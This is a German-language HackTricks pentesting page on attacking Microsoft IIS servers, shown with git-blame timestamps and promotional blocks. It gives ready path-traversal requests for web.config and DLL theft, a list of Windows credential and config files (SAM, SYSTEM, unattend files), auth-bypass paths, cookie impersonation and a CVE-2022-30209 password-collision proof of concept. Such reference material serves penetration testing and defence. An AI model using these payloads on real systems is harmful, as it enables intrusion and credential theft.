hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md

312 lines
18 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# IIS - Internet Information Services
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:24:39 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
2022-04-28 16:01:33 +00:00
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihren Motor **kostenlos** ausprobieren unter:
{% embed url="https://whiteintel.io" %}
---
Testausführbare Dateierweiterungen:
* asp
* aspx
* config
* php
2024-02-10 15:36:32 +00:00
## Offenlegung der internen IP-Adresse
Auf jedem IIS-Server, bei dem Sie eine 302 erhalten, können Sie versuchen, den Host-Header zu entfernen und HTTP/1.0 zu verwenden. Im Antworttext könnte der Location-Header auf die interne IP-Adresse verweisen:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
2024-02-10 15:36:32 +00:00
Antwort, die die interne IP-Adresse offenlegt:
```
2024-02-10 15:36:32 +00:00
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
2024-02-10 15:36:32 +00:00
## Ausführen von .config-Dateien
Sie können .config-Dateien hochladen und verwenden, um Code auszuführen. Eine Möglichkeit besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzufügen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
2024-02-10 15:36:32 +00:00
Weitere Informationen und Techniken zur Ausnutzung dieser Schwachstelle finden Sie [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
2022-05-01 16:57:45 +00:00
## IIS Discovery Bruteforce
2024-02-10 15:36:32 +00:00
Laden Sie die von mir erstellte Liste herunter:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
2024-02-10 15:36:32 +00:00
Sie wurde erstellt, indem die Inhalte der folgenden Listen zusammengeführt wurden:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Verwenden Sie sie, ohne eine Erweiterung hinzuzufügen, die Dateien, die sie benötigen, haben sie bereits.
## Pfadtraversierung
2021-04-01 12:07:26 +00:00
### Offenlegung von Quellcode
2021-04-01 12:07:26 +00:00
Überprüfen Sie die vollständige Beschreibung unter: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
2024-02-08 21:36:15 +00:00
2021-04-01 12:55:58 +00:00
{% hint style="info" %}
Zusammenfassend gibt es mehrere web.config-Dateien innerhalb der Anwendungsordner mit Verweisen auf "**assemblyIdentity**"-Dateien und "**namespaces**". Mit diesen Informationen ist es möglich zu wissen, **wo sich ausführbare Dateien befinden** und sie herunterzuladen.\
Aus den **heruntergeladenen Dlls** ist es auch möglich, **neue Namespaces** zu finden, auf die Sie zugreifen und die web.config-Datei abrufen sollten, um neue Namespaces und assemblyIdentity zu finden.\
Außerdem können die Dateien **connectionstrings.config** und **global.asax** interessante Informationen enthalten.\\
2021-04-01 12:55:58 +00:00
{% endhint %}
In **.Net MVC-Anwendungen** spielt die **web.config**-Datei eine entscheidende Rolle, indem sie jede Binärdatei angibt, auf die die Anwendung durch **"assemblyIdentity"**-XML-Tags angewiesen ist.
2024-02-08 21:36:15 +00:00
2024-02-10 15:36:32 +00:00
### **Erkunden von Binärdateien**
2021-04-01 12:07:26 +00:00
Ein Beispiel zum Zugriff auf die **web.config**-Datei wird unten gezeigt:
2021-04-01 12:55:58 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Diese Anfrage zeigt verschiedene Einstellungen und Abhängigkeiten wie:
2021-04-01 12:07:26 +00:00
* **EntityFramework**-Version
* **AppSettings** für Webseiten, Clientvalidierung und JavaScript
* Konfigurationen von **System.web** für Authentifizierung und Laufzeit
* Einstellungen für **System.webServer**-Module
* Assembly-Bindungen für die Laufzeit von zahlreichen Bibliotheken wie **Microsoft.Owin**, **Newtonsoft.Json** und **System.Web.Mvc**
2021-04-01 12:55:58 +00:00
Diese Einstellungen deuten darauf hin, dass bestimmte Dateien wie **/bin/WebGrease.dll** im /bin-Ordner der Anwendung zu finden sind.
2021-04-01 12:07:26 +00:00
### **Stammverzeichnisdateien**
2021-04-01 12:07:26 +00:00
Dateien im Stammverzeichnis wie **/global.asax** und **/connectionstrings.config** (die sensible Passwörter enthalten) sind für die Konfiguration und den Betrieb der Anwendung unerlässlich.
2021-04-01 12:07:26 +00:00
2024-02-10 15:36:32 +00:00
### **Namespaces und Web.Config**
2021-04-01 12:07:26 +00:00
MVC-Anwendungen definieren auch zusätzliche **web.config-Dateien** für spezifische Namespaces, um wiederholte Deklarationen in jeder Datei zu vermeiden, wie es bei einer Anfrage zum Herunterladen einer weiteren **web.config** demonstriert wird:
2021-04-01 12:55:58 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
2024-02-10 15:36:32 +00:00
### **Herunterladen von DLLs**
2021-04-01 12:07:26 +00:00
Die Erwähnung eines benutzerdefinierten Namespaces deutet auf eine DLL mit dem Namen "**WebApplication1**" im /bin-Verzeichnis hin. Anschließend wird eine Anfrage zum Herunterladen der **WebApplication1.dll** angezeigt:
2024-02-08 21:36:15 +00:00
```markup
2021-04-01 12:07:26 +00:00
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Dies deutet auf die Anwesenheit anderer wichtiger DLLs hin, wie **System.Web.Mvc.dll** und **System.Web.Optimization.dll**, im /bin-Verzeichnis.
2021-04-01 12:07:26 +00:00
In einem Szenario, in dem eine DLL einen Namespace namens **WebApplication1.Areas.Minded** importiert, könnte ein Angreifer auf die Existenz anderer web.config-Dateien in vorhersehbaren Pfaden schließen, wie z.B. **/area-name/Views/**, die spezifische Konfigurationen und Verweise auf andere DLLs im /bin-Ordner enthalten. Beispielsweise kann eine Anfrage an **/Minded/Views/web.config** Konfigurationen und Namespaces offenlegen, die auf die Anwesenheit einer anderen DLL, **WebApplication1.AdditionalFeatures.dll**, hinweisen.
2021-04-01 12:55:58 +00:00
2024-02-10 15:36:32 +00:00
### Gemeinsame Dateien
2024-02-10 15:36:32 +00:00
Von [hier](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
2024-02-10 15:36:32 +00:00
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
2024-02-10 15:36:32 +00:00
## HTTPAPI 2.0 404 Fehler
2024-02-10 15:36:32 +00:00
Wenn Sie einen Fehler wie den folgenden sehen:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Bedeutet dies, dass der Server **den korrekten Domainnamen nicht** im Host-Header erhalten hat.\
Um auf die Webseite zuzugreifen, könnten Sie das **SSL-Zertifikat** überprüfen und möglicherweise den Domain-/Subdomain-Namen darin finden. Wenn er dort nicht vorhanden ist, müssen Sie möglicherweise **VHosts brute force**, bis Sie den richtigen finden.
## Alte IIS-Schwachstellen, nach denen es sich lohnt zu suchen
### Microsoft IIS Tilde-Zeichen "~" Schwachstelle/Feature Offenlegung kurzer Datei-/Ordnername
Sie können versuchen, **Ordner und Dateien** in jedem entdeckten Ordner aufzulisten (auch wenn dies eine Basisauthentifizierung erfordert) mit dieser **Technik**.\
Die Hauptbeschränkung dieser Technik, wenn der Server anfällig ist, besteht darin, dass **nur bis zu den ersten 6 Buchstaben des Namens jeder Datei/Ordner und den ersten 3 Buchstaben der Erweiterung** der Dateien gefunden werden können.
Sie können [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) verwenden, um diese Schwachstelle zu testen: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (841).png>)
Ursprüngliche Forschung: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
Sie können auch **Metasploit** verwenden: `use scanner/http/iis_shortname_scanner`
### Basisauthentifizierung umgehen
**Umgehen** Sie eine Basisauthentifizierung (**IIS 7.5**) und versuchen Sie auf Folgendes zuzugreifen: `/admin:$i30:$INDEX_ALLOCATION/admin.php` oder `/admin::$INDEX_ALLOCATION/admin.php`
Sie können versuchen, diese **Schwachstelle** und die letzte zu **kombinieren**, um neue **Ordner** zu finden und die Authentifizierung zu **umgehen**.
## ASP.NET Trace.AXD aktiviertes Debugging
ASP.NET enthält einen Debugging-Modus und die Datei heißt `trace.axd`.
Es führt ein sehr detailliertes Protokoll aller Anfragen, die über einen bestimmten Zeitraum an eine Anwendung gestellt wurden.
Diese Informationen umfassen Remote-Client-IPs, Sitzungs-IDs, alle Anfrage- und Antwort-Cookies, physische Pfade, Quellcodeinformationen und möglicherweise sogar Benutzernamen und Passwörter.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 um 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## ASPXAUTH-Cookie
ASPXAUTH verwendet die folgenden Informationen:
* **`validationKey`** (Zeichenfolge): hex-codierter Schlüssel zur Verwendung für die Signaturvalidierung.
* **`decryptionMethod`** (Zeichenfolge): (Standard "AES").
* **`decryptionIV`** (Zeichenfolge): hex-codierter Initialisierungsvektor (standardmäßig ein Vektor aus Nullen).
* **`decryptionKey`** (Zeichenfolge): hex-codierter Schlüssel zur Verwendung für die Entschlüsselung.
Einige Personen verwenden jedoch die **Standardwerte** dieser Parameter und verwenden als **Cookie die E-Mail des Benutzers**. Daher, wenn Sie eine Webseite finden, die die **gleiche Plattform** verwendet und den ASPXAUTH-Cookie verwendet und Sie einen Benutzer mit der E-Mail des Benutzers erstellen, den Sie auf dem angegriffenen Server imitieren möchten, könnten Sie in der Lage sein, den Cookie vom zweiten Server im ersten zu verwenden und den Benutzer zu imitieren.\
Dieser Angriff funktionierte in diesem [**Bericht**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS-Authentifizierungsumgehung mit zwischengespeicherten Passwörtern (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Vollständiger Bericht hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ein Fehler im Code **überprüfte das vom Benutzer angegebene Passwort nicht ordnungsgemäß**, sodass ein Angreifer, dessen **Passworthash auf einen Schlüssel trifft**, der bereits im **Cache** vorhanden ist, sich als dieser Benutzer anmelden kann.
```python
# script for sanity check
> type test.py
def HashString(password):
2024-02-10 15:36:32 +00:00
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** betriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:24:39 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>